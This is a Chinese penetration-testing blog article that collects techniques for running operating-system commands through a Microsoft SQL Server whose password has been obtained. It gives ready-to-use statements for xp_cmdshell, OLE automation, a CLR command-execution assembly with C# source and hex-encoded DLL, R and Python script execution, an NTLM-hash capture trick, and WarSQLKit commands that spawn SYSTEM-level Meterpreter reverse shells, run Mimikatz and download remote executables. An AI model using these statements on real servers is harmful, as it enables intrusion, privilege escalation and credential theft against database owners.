Mssql数据库命令执行总结

2020-04-13 约 765 字 预计阅读 4 分钟

声明:本文 【Mssql数据库命令执行总结】 由作者 清风明月 于 2020-04-13 08:36:41 首发 先知社区 曾经 浏览数 134 次

感谢 清风明月 的辛苦付出!

0x00 简介

本文的攻击场景如下:

演示环境的利用场景:

本文将要介绍以下内容:

  • xp_cmdshell利用
  • COM组件利用
  • CLR利用
  • SQL Server 2016 R利用
  • SQL Server 2017 Python利用
  • 沙盒利用(openrowset)
  • Agent Job利用

0x01 xp_cmdshell利用

前提条件:

  • Mssql数据库服务未降权
  • 已获取到数据库密码

xp_cmdshell是Sql Server中的一个组件,我们可以用它来执行系统命令。

判断xp_cmdshell状态

我们可以在master.dbo.sysobjects中查看xp_cmdshell状态

select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

xtype为对象类型,xtype='x'这里表示xp_cmdshell的对象类型为扩展存储过程。

只用判断存在,利用count(*)即可。

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

存在即返回1

启用xp_cmdshell

我们可以利用EXEC启用xp_cmdshell

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

利用xp_cmdshell执行命令

通过xp_cmdshell执行系统命令指令如下

exec master..xp_cmdshell 'whoami'

恢复被删除的xp_cmdshell

我们可以利用xplog70.dll恢复被删除的xp_cmdshell

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

0x02 COM组件利用

前提条件:

  • Mssql数据库服务未降权
  • 已获取到数据库密码

我们可以借助Sql Server中的COM组件SP_OACREATE来执行系统命令。

判断SP_OACREATE状态

我们可以在master.dbo.sysobjects中查看SP_OACREATE状态

select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

只用判断存在,利用count(*)即可。

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

存在即返回1

启用SP_OACREATE

利用EXEC启用SP_OACREATE

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'show advanced options', 0;

利用SP_OACREATE执行命令

通过SP_OACREATE执行系统命令指令如下

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

此利用方法无回显

0x03 CLR利用

什么是CLR

CLR微软官方把他称为公共语言运行时,从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。

更多概念详见下方官方链接:

https://docs.microsoft.com/zh-cn/sql/relational-databases/clr-integration/common-language-runtime-clr-integration-programming-concepts?view=sql-server-ver15

编写CLR

利用VS创建MSSQL数据库项目

修改目标平台和勾选创建脚本

修改目标框架和权限级别

创建SQL CLR C# 存储过程

写入代码

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void ExecCommand (string cmd)
    {
        // 在此处放置代码
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
    }
    public static string RunCommand(string filename,string arguments)
    {
        var process = new Process();

        process.StartInfo.FileName = filename;
        if (!string.IsNullOrEmpty(arguments))
        {
            process.StartInfo.Arguments = arguments;
        }

        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.UseShellExecute = false;

        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.RedirectStandardOutput = true;
        var stdOutput = new StringBuilder();
        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
        string stdError = null;
        try
        {
            process.Start();
            process.BeginOutputReadLine();
            stdError = process.StandardError.ReadToEnd();
            process.WaitForExit();
        }
        catch (Exception e)
        {
            SqlContext.Pipe.Send(e.Message);
        }

        if (process.ExitCode == 0)
        {
            SqlContext.Pipe.Send(stdOutput.ToString());
        }
        else
        {
            var message = new StringBuilder();

            if (!string.IsNullOrEmpty(stdError))
            {
                message.AppendLine(stdError);
            }

            if (stdOutput.Length != 0)
            {
                message.AppendLine("Std output:");
                message.AppendLine(stdOutput.ToString());
            }
            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
        }
        return stdOutput.ToString();
    }
}

启用MSSQL CLR功能

MSSQL CLR功能默认关闭,利用以下语句启用。

sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO

为了导入了不安全的程序集,我们还需要执行以下语句将数据库标记为安全。

ALTER DATABASE master SET TRUSTWORTHY ON;

利用SQL语句导入程序集

CREATE ASSEMBLY [Database1]
    AUTHORIZATION [dbo]
    FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006E587C5E0000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402400006002102400006003100E401000000003700000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000002700000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F300044617461626173653100496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468004461746162617365312E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E6742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    WITH PERMISSION_SET = UNSAFE;
GO

创建存储过程

CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go

执行命令

exec dbo.ExecCommand "whoami";

更强大的项目

https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit

0x04 R和Python的利用

前提条件:

  • Machine Learning Services必须要在Python安装过程中选择
  • 必须启用外部脚本
    • EXEC sp_configure 'external scripts enabled', 1
    • RECONFIGURE WITH OVERRIDE
    • 重新启动数据库服务器
  • 用户拥有执行任何外部脚本权限

MSSQL 2017加入了Microsoft机器学习服务,该服务允许通过MSSQL中sp_execute_external_script执行Python和R脚本

R脚本利用

利用R执行命令:

sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe
/c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

利用R抓取Net-NTLM哈希:

@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'

Python脚本利用

Python 版本:

exec sp_execute_external_script 
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))

执行命令:

exec sp_execute_external_script 
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

0x05 WarSQLKit

WarSQLKit是一个针对Mssql CLR进行利用的渗透工具,它存在以下两个版本。

  • WarSQLKit

    WarSQLKit是完全版本,内置多种功能。

  • WarSQLKitMinimal

    WarSQLKitMinimal是精简版,只能执行命令。

加载WarSQLKit

根据本文0X03 CLR利用的操作将WarSQLKit导入

创建存储过程

CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO

WarSQLKit CmdExec

WarSQLKit CmdExec实现了以下功能

1、执行任意Windows命令

EXEC sp_cmdExec 'whoami';

2、以NT AUTHORITY\SYSTEM权限执行Windows命令

EXEC sp_cmdExec 'whoami /RunSystemPriv';

3、以NT AUTHORITY\SYSTEM权限运行PowerShell命令

EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS';

4、生成一个以NT AUTHORITY\SYSTEM权限运行的X86 Meterpreter反向连接shell

EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem';

5、生成一个以NT AUTHORITY\SYSTEM权限运行的X64 Meterpreter反向连接shell

EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem';

6、生成一个以NT AUTHORITY\SYSTEM权限运行的X64 Meterpreter RC4反向连接shell

EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'

RC4PASSWORD=warsql

7、生成一个以NT AUTHORITY\SYSTEM权限运行的X86 meterpreter_bind_tcp shell

EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem';

8、运行Mimikatz功能抓取密码

EXEC sp_cmdExec 'sp_Mimikatz';

获取Mimikatz日志
select * from WarSQLKitTemp

9、文件下载

EXEC sp_cmdExec 'sp_downloadFile http://test.com/file.exe C:\ProgramData\file.exe 300';

10、获取MSSQL Hash

EXEC sp_cmdExec 'sp_getSqlHash';

11、获取Windows Product

EXEC sp_cmdExec 'sp_getProduct';

12、获取可用的数据库

EXEC sp_cmdExec 'sp_getDatabases';

0x06 备忘录

利用sp_addextendedproc恢复组件

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'

利用沙盒执行命令

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

利用Agent Job执行命令

SQL Server代理是一项Microsoft Windows服务,它执行计划的管理任务,这些任务在SQL Server 2019(15.x)中称为作业。

创建作业

USE msdb; 
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1'; 
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; 
EXEC dbo.sp_start_job N'test_powershell_job1';

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

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